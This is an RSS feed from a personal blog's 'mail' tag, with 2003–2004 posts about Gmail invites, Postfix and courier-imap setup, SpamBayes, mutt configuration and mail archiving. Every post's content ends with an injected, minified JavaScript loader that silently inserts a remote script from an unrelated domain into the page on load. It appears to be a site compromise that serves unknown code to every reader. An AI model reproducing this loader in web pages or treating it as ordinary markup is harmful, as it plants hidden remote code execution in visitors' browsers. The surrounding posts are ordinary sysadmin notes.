<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; mail</title>
	<atom:link href="http://www.larsen-b.com/tags/mail/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Who want some ? (Gmail Account)</title>
		<link>http://www.larsen-b.com/Article/165.html</link>
		<comments>http://www.larsen-b.com/Article/165.html#comments</comments>
		<pubDate>Mon, 04 Oct 2004 08:15:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[mail]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Hey Baby .. Do you want some ? (this come from the Duke Nuke3D game..) Anyway I get 4 Gmail account to give. So the first 4 posts here will receive one. (I&#8217;m busy right now. So don&#8217;t expect this &#8230; <a href="http://www.larsen-b.com/Article/165.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Hey Baby .. Do you want some ? (this come from the Duke Nuke3D game..) Anyway I get 4 Gmail account to give. So the first 4 posts here will receive one.</p>
<p>(I&#8217;m busy right now. So don&#8217;t expect this quickly) ..<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/165.html/feed</wfw:commentRss>
		<slash:comments>34</slash:comments>
		</item>
		<item>
		<title>Full featured SMTP in Python ?</title>
		<link>http://www.larsen-b.com/Article/154.html</link>
		<comments>http://www.larsen-b.com/Article/154.html#comments</comments>
		<pubDate>Wed, 01 Sep 2004 21:34:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a recent post Ian explain he get a lot of trouble w/ the configuration of his mail system. I ran into the same issues a little time ago. Now i&#8217;m using postfix and courier-imap and maildrop to dispatch the &#8230; <a href="http://www.larsen-b.com/Article/154.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a recent <a class="reference" href="http://blog.colorstudy.com/ianb/weblog/2004/08/31.html#P153">post</a> Ian explain he get a lot of trouble w/ the configuration of his mail system. I ran into the same issues a little time ago. Now i&#8217;m using postfix and courier-imap and maildrop to dispatch the mail between. This setup is really easy because Postfix just accept incomming mail, and maildrop deliver it in the right imap folders. By this way, i only have to tweak maildrop to add some users. And works fine with virtualhost. In my current setup, i&#8217;m using a home-made spambayes deamon (<a class="reference" href="http://www.larsen-b.com/Article/112.html">sb_global_server</a>), to spam-tag all incomming mail. (even for virtual host users)</p>
<p>Now, i need to setup a mailing list manager&#8230; and issues are back again :( I read the mailman howto, and no, it doesn&#8217;t support virtual-hosting out-of-the-box. Play with a bunch of alias? no thanks&#8230; I can use another one of course, but intregation w/ postfix is not so-trivial for most of them.</p>
<p>So why not write a full featured SMTP daemon in Py? We will get:</p>
<ul class="simple">
<li>a system that can scale easily ..</li>
<li>support for most of db-backend without a pain</li>
<li>can embed spambayes .. or any other filtering system in only one piece of code ..</li>
<li>only one users configuration (not to use LDAP or others to glue..)</li>
</ul>
<p>Right now, if you want to have a good mail system you need to use a bunch of stuffs, written in a bunch of langage .. and use a bunch of tricks to glue each others&#8230; But everybody wants a nice/simple mail system ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/154.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Blog post / Mutt IMAP Cache Vs Courier-Cone ?</title>
		<link>http://www.larsen-b.com/Article/140.html</link>
		<comments>http://www.larsen-b.com/Article/140.html#comments</comments>
		<pubDate>Sat, 31 Jul 2004 04:02:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[mutt]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[The thing every blogger likes: Comments ? No ? Really ? Anyways, i just added a RSS comment Feed to this blog. (No I won&#8217;t put the url somewhere since NewsAggregators eat a bunch of bandwith only to see nobody &#8230; <a href="http://www.larsen-b.com/Article/140.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>The thing every blogger likes: Comments ? No ? Really ?</p>
<p>Anyways, i just added a RSS comment Feed to this blog. (No I won&#8217;t put the url somewhere since NewsAggregators eat a bunch of bandwith only to see nobody post, i will only give it to friends .. :)</p>
<p>But, this is not the main stuff, while browsing this RSS feed i discover one interesting comment about Mutt and IMAP cache. I now use <strong>courier-cone</strong> (no-url-yet) and it pretty cool and happy w/ IMAP. I like the IMAP Adressbook system which is really pleasant to use. Anyway check out this <a class="reference" href="http://www.larsen-b.com/Article/97.html">post</a> if you want to test the <strong>new imap cache for mutt</strong>, and thanks Glanzmann for the post :)</p>
<p>For lazy readers the patch is <a class="reference" href="http://wwwcip.informatik.uni-erlangen.de/~sithglan/mutt/">here</a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/140.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SpamBayes server compliant w/ spamassassin</title>
		<link>http://www.larsen-b.com/Article/112.html</link>
		<comments>http://www.larsen-b.com/Article/112.html#comments</comments>
		<pubDate>Sat, 24 Apr 2004 20:10:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[bayesian]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;m using spambayes for a long time now. But when i decide to install it for all the curent users of my setup (w/ some virtual domains..), i just discover that spambayes don&#8217;t have a system-wide deamon like spamassasin (spamd). &#8230; <a href="http://www.larsen-b.com/Article/112.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m using spambayes for a long time now. But when i decide to install it for all the curent users of my setup (w/ some virtual domains..), i just discover that spambayes don&#8217;t have a system-wide deamon like spamassasin (spamd).</p>
<p>So the first try:</p>
<ul class="simple">
<li>install spamassassin :) .. This mail filtering is just a bulshit ! Even w/ the training done on a mail, it achieve to deliver it as &#8216;unsure spam&#8217; !!</li>
<li>put spamassin away .. but keep piece :)</li>
</ul>
<p>I first decided to write another client / server for spambayes. but looking at all the stuff writen in spamc (spamassassin client) i discover i will need a lot of nights (i&#8217;m not a C guru . even if the little try i wrote works perferctly )</p>
<p>Nice try, but why i shouldn&#8217;t simply write a server that use spamc as client ? .. could be really easy and efficient too (spamc is really efficient) ..</p>
<p>i just finish to write <a class="reference" href="http://mail.python.org/pipermail/spambayes-dev/2004-April/002748.html">this</a> and  submit to the dev list<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/112.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Mail Archives / mdirarchive.py</title>
		<link>http://www.larsen-b.com/Article/110.html</link>
		<comments>http://www.larsen-b.com/Article/110.html#comments</comments>
		<pubDate>Mon, 19 Apr 2004 13:06:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Since i totally switched my mail system to imap, i&#8217;m looking for a way to keep the folders &#8216;small as possible&#8217;. I talked w/ Phil about this, and he (http://base-art.net/wk/Article/3.html) hacked a existing python script. The main difference between his &#8230; <a href="http://www.larsen-b.com/Article/110.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Since i totally switched my mail system to imap, i&#8217;m looking for a way to keep the folders &#8216;small as possible&#8217;. I talked w/ Phil about this, and he (<a class="reference" href="http://base-art.net/wk/Article/3.html">http://base-art.net/wk/Article/3.html</a>) hacked a existing python script. The main difference between his hack and the orginal one, is that now the folder are archived in a &#8216;normal&#8217; way.</p>
<p>This should only work w/ courier-imap server but this is the one i use :) . I can now read mailing archive without too much pain !<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/110.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Securing courier-imap</title>
		<link>http://www.larsen-b.com/Article/100.html</link>
		<comments>http://www.larsen-b.com/Article/100.html#comments</comments>
		<pubDate>Sun, 29 Feb 2004 13:40:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I spent part of the day to install a virtual mail server, and i discover that there is a really simple way to secure courier-imap. By defaut when you use this kind of server the auth is made against the &#8230; <a href="http://www.larsen-b.com/Article/100.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I spent part of the day to install a virtual mail server, and i discover that there is a really simple way to secure courier-imap. By defaut when you use this kind of server the auth is made against the standard pam module. This is really simple, but what happend if someone is able to read your imap password. Yes he get the account password.</p>
<p>Courier imap can do the auth against a lot of stuff. Simply change the authmodulelist=authpam to authmodulelist=authuserdb. This will use the file /etc/courier/userdb.</p>
<pre>userdb "username" set home=/home/username
                      mail=/home/username/Maildir
                      uid=UID gid=GID
userdbpw | userdb "username" set imappw
makeuserdb</pre>
<p>So now you can use a different password for your account and your imap, and you can choose who can access to imap server.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/100.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Enjoy Mutt</title>
		<link>http://www.larsen-b.com/Article/97.html</link>
		<comments>http://www.larsen-b.com/Article/97.html#comments</comments>
		<pubDate>Wed, 18 Feb 2004 21:50:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I get it! I managed to use mutt w/ my imap folders, with hooks and everything fine. This is not really hard, but : libsas-modules break the SSL certification (without any error message) mutt really lack of header cache for &#8230; <a href="http://www.larsen-b.com/Article/97.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I get it! I managed to use mutt w/ my imap folders, with hooks and everything fine. This is not really hard, but :</p>
<ul class="simple">
<li>libsas-modules break the SSL certification (without any error message)</li>
<li>mutt really lack of header cache for imap (there is a patch for Maildir but no for imap)</li>
</ul>
<pre class="literal-block">### IMAP ########################################
set imap_user="jkx"
set spoolfile=imaps://mail.larsen-b.com/
set folder=imaps://mail.larsen-b.com/INBOX
set record=imaps://mail.larsen-b.com/INBOX.Sent
mailboxes  imaps://mail.larsen-b.com/

### Hooks #######################################
folder-hook INBOX.Sent 'set index_format="%4C %Z %{%b %d} %-20.20t (%41) %s"'
folder-hook INBOX.JOB my_hdr From: XXXXX &lt;XXXX@job.fr&gt;</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/97.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>I want SPAM now</title>
		<link>http://www.larsen-b.com/Article/65.html</link>
		<comments>http://www.larsen-b.com/Article/65.html#comments</comments>
		<pubDate>Sat, 13 Dec 2003 09:59:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After using the same email address since 1996, i haven&#8217;t receive a lot of spam. But since I open this weblog, every days my mailbox is full of junk mail and other f*cking spam. So yesterday i try this: http://spambayes.sourceforge.net/ &#8230; <a href="http://www.larsen-b.com/Article/65.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>After using the same email address since 1996, i haven&#8217;t receive a lot of spam. But since I open this weblog, every days my mailbox is full of junk mail and other f*cking spam.</p>
<p>So yesterday i try this: <a class="reference" href="http://spambayes.sourceforge.net/">http://spambayes.sourceforge.net/</a></p>
<p>It&#8217;s took me about ~10 min to install / train it. And YES ! it works perfectly, now il just have to train it again &#8230; so please send me some spam :)</p>
<p><strong>Update: A lot of people spam this blog to unsure to receive spam in return.. But don&#8217;t be stupid, email on this website are cyphered, so they won&#8217;t be used by spambot.. If you really want to receive some spam, simply put your email on a free porn website. Believe me you will receive a huge amount of spam by this way</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/65.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
